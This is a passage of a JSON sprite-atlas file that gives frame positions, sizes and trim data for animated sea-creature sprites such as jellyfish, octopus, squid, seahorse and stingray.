,{
"filename": "crab10012",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10013",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10014",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10015",
"frame": {"x":442,"y":1485,"w":148,"h":82},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10016",
"frame": {"x":442,"y":1485,"w":148,"h":82},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10017",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10018",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10019",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10020",
"frame": {"x":442,"y":1485,"w":148,"h":82},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10021",
"frame": {"x":442,"y":1485,"w":148,"h":82},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10022",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10023",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10024",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10025",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab20000",
"frame": {"x":554,"y":635,"w":166,"h":108},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":166,"h":108},
"sourceSize": {"w":166,"h":108}
}
,{
"filename": "flyingFish0000",
"frame": {"x":186,"y":771,"w":149,"h":103},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":149,"h":103},
"sourceSize": {"w":149,"h":103}
}
,{
"filename": "flyingFish0001",
"frame": {"x":186,"y":771,"w":149,"h":103},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":149,"h":103},
"sourceSize": {"w":149,"h":103}
}
,{
"filename": "greenFish0000",
"frame": {"x":738,"y":494,"w":72,"h":64},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":72,"h":64},
"sourceSize": {"w":72,"h":64}
}
,{
"filename": "greenJellyfish0000",
"frame": {"x":886,"y":824,"w":120,"h":109},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0001",
"frame": {"x":422,"y":918,"w":118,"h":110},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0002",
"frame": {"x":119,"y":990,"w":116,"h":111},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":4,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0003",
"frame": {"x":658,"y":937,"w":115,"h":112},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":5,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0004",
"frame": {"x":237,"y":1032,"w":113,"h":113},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":7,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0005",
"frame": {"x":654,"y":1051,"w":111,"h":114},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":9,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0006",
"frame": {"x":227,"y":1147,"w":109,"h":114},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0007",
"frame": {"x":878,"y":1165,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0008",
"frame": {"x":464,"y":1166,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0009",
"frame": {"x":574,"y":1167,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0010",
"frame": {"x":2,"y":1184,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0011",
"frame": {"x":112,"y":1219,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0012",
"frame": {"x":338,"y":1259,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0013",
"frame": {"x":222,"y":1263,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0014",
"frame": {"x":684,"y":1281,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0015",
"frame": {"x":794,"y":1282,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0016",
"frame": {"x":115,"y":1103,"w":110,"h":114},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0017",
"frame": {"x":890,"y":1050,"w":112,"h":113},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0018",
"frame": {"x":886,"y":935,"w":114,"h":113},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0019",
"frame": {"x":186,"y":876,"w":116,"h":112},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0020",
"frame": {"x":646,"y":823,"w":118,"h":111},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0021",
"frame": {"x":304,"y":918,"w":116,"h":112},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0022",
"frame": {"x":542,"y":936,"w":114,"h":113},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0023",
"frame": {"x":540,"y":1051,"w":112,"h":113},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0024",
"frame": {"x":352,"y":1143,"w":110,"h":114},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0025",
"frame": {"x":778,"y":1399,"w":108,"h":114},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0026",
"frame": {"x":904,"y":1282,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0027",
"frame": {"x":448,"y":1283,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0028",
"frame": {"x":558,"y":1284,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0029",
"frame": {"x":2,"y":1301,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0030",
"frame": {"x":112,"y":1336,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0031",
"frame": {"x":332,"y":1376,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0032",
"frame": {"x":222,"y":1380,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0033",
"frame": {"x":668,"y":1398,"w":108,"h":115},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":12,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0034",
"frame": {"x":767,"y":1165,"w":109,"h":114},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0035",
"frame": {"x":2,"y":1068,"w":111,"h":114},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":9,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0036",
"frame": {"x":775,"y":1050,"w":113,"h":113},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":7,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0037",
"frame": {"x":2,"y":954,"w":115,"h":112},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":5,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0038",
"frame": {"x":422,"y":1030,"w":116,"h":111},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":4,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "greenJellyfish0039",
"frame": {"x":766,"y":824,"w":118,"h":111},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":130,"h":115},
"sourceSize": {"w":130,"h":115}
}
,{
"filename": "hammerHead0000",
"frame": {"x":2,"y":2,"w":260,"h":152},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":260,"h":152},
"sourceSize": {"w":260,"h":152}
}
,{
"filename": "octopus0000",
"frame": {"x":888,"y":1399,"w":82,"h":88},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0001",
"frame": {"x":888,"y":1399,"w":82,"h":88},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0002",
"frame": {"x":775,"y":937,"w":78,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0003",
"frame": {"x":775,"y":937,"w":78,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0004",
"frame": {"x":684,"y":1167,"w":77,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":3,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0005",
"frame": {"x":684,"y":1167,"w":77,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":3,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0006",
"frame": {"x":370,"y":188,"w":67,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":8,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0007",
"frame": {"x":370,"y":188,"w":67,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":8,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0008",
"frame": {"x":554,"y":349,"w":60,"h":95},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0009",
"frame": {"x":554,"y":349,"w":60,"h":95},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0010",
"frame": {"x":554,"y":349,"w":60,"h":95},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0011",
"frame": {"x":554,"y":349,"w":60,"h":95},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0012",
"frame": {"x":554,"y":349,"w":60,"h":95},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0013",
"frame": {"x":554,"y":349,"w":60,"h":95},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0014",
"frame": {"x":554,"y":349,"w":60,"h":95},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0015",
"frame": {"x":554,"y":349,"w":60,"h":95},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0016",
"frame": {"x":554,"y":349,"w":60,"h":95},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":11,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0017",
"frame": {"x":370,"y":188,"w":67,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":8,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0018",
"frame": {"x":370,"y":188,"w":67,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":8,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0019",
"frame": {"x":684,"y":1167,"w":77,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":3,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0020",
"frame": {"x":684,"y":1167,"w":77,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":3,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0021",
"frame": {"x":775,"y":937,"w":78,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0022",
"frame": {"x":775,"y":937,"w":78,"h":94},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0023",
"frame": {"x":888,"y":1399,"w":82,"h":88},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "octopus0024",
"frame": {"x":888,"y":1399,"w":82,"h":88},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":82,"h":95},
"sourceSize": {"w":82,"h":95}
}
,{
"filename": "prawn0000",
"frame": {"x":738,"y":560,"w":64,"h":70},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":64,"h":70},
"sourceSize": {"w":64,"h":70}
}
,{
"filename": "purpleFish0000",
"frame": {"x":280,"y":1497,"w":112,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":14,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0001",
"frame": {"x":280,"y":1497,"w":112,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":14,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0002",
"frame": {"x":152,"y":1497,"w":126,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0003",
"frame": {"x":152,"y":1497,"w":126,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0004",
"frame": {"x":2,"y":1537,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0005",
"frame": {"x":2,"y":1537,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0006",
"frame": {"x":2,"y":1537,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0007",
"frame": {"x":2,"y":1537,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0008",
"frame": {"x":2,"y":1537,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0009",
"frame": {"x":592,"y":1515,"w":110,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":16,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0010",
"frame": {"x":592,"y":1515,"w":110,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":16,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0011",
"frame": {"x":888,"y":1489,"w":122,"h":56},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":4,"y":0,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0012",
"frame": {"x":888,"y":1489,"w":122,"h":56},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":4,"y":0,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0013",
"frame": {"x":2,"y":1537,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0014",
"frame": {"x":2,"y":1537,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0015",
"frame": {"x":2,"y":1537,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0016",
"frame": {"x":810,"y":1547,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0017",
"frame": {"x":810,"y":1547,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0018",
"frame": {"x":704,"y":1515,"w":104,"h":55},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0019",
"frame": {"x":704,"y":1515,"w":104,"h":55},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "purpleFish0020",
"frame": {"x":2,"y":1537,"w":104,"h":54},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":22,"y":2,"w":126,"h":57},
"sourceSize": {"w":126,"h":57}
}
,{
"filename": "seahorse0000",
"frame": {"x":722,"y":635,"w":90,"h":186},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":90,"h":186},
"sourceSize": {"w":90,"h":186}
}
,{
"filename": "seahorse0001",
"frame": {"x":814,"y":636,"w":90,"h":186},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":90,"h":186},
"sourceSize": {"w":90,"h":186}
}
,{
"filename": "seahorse0002",
"frame": {"x":906,"y":636,"w":90,"h":186},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":90,"h":186},
"sourceSize": {"w":90,"h":186}
}
,{
"filename": "seahorse0003",
"frame": {"x":554,"y":745,"w":90,"h":186},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":90,"h":186},
"sourceSize": {"w":90,"h":186}
}
,{
"filename": "seahorse0004",
"frame": {"x":2,"y":766,"w":90,"h":186},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":90,"h":186},
"sourceSize": {"w":90,"h":186}
}
,{
"filename": "seahorse0005",
"frame": {"x":94,"y":766,"w":90,"h":186},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":90,"h":186},
"sourceSize": {"w":90,"h":186}
}
,{
"filename": "squid0000",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0001",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0002",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0003",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0004",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0005",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0006",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0007",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0008",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0009",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0010",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0011",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0012",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0013",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0014",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "squid0015",
"frame": {"x":370,"y":770,"w":112,"h":146},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":112,"h":146},
"sourceSize": {"w":112,"h":146}
}
,{
"filename": "starfish0000",
"frame": {"x":370,"y":284,"w":36,"h":36},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":36,"h":36},
"sourceSize": {"w":36,"h":36}
}
,{
"filename": "stingray0000",
"frame": {"x":2,"y":329,"w":182,"h":154},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":16,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0001",
"frame": {"x":816,"y":344,"w":182,"h":147},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0002",
"frame": {"x":186,"y":349,"w":182,"h":144},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0003",
"frame": {"x":2,"y":485,"w":182,"h":142},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
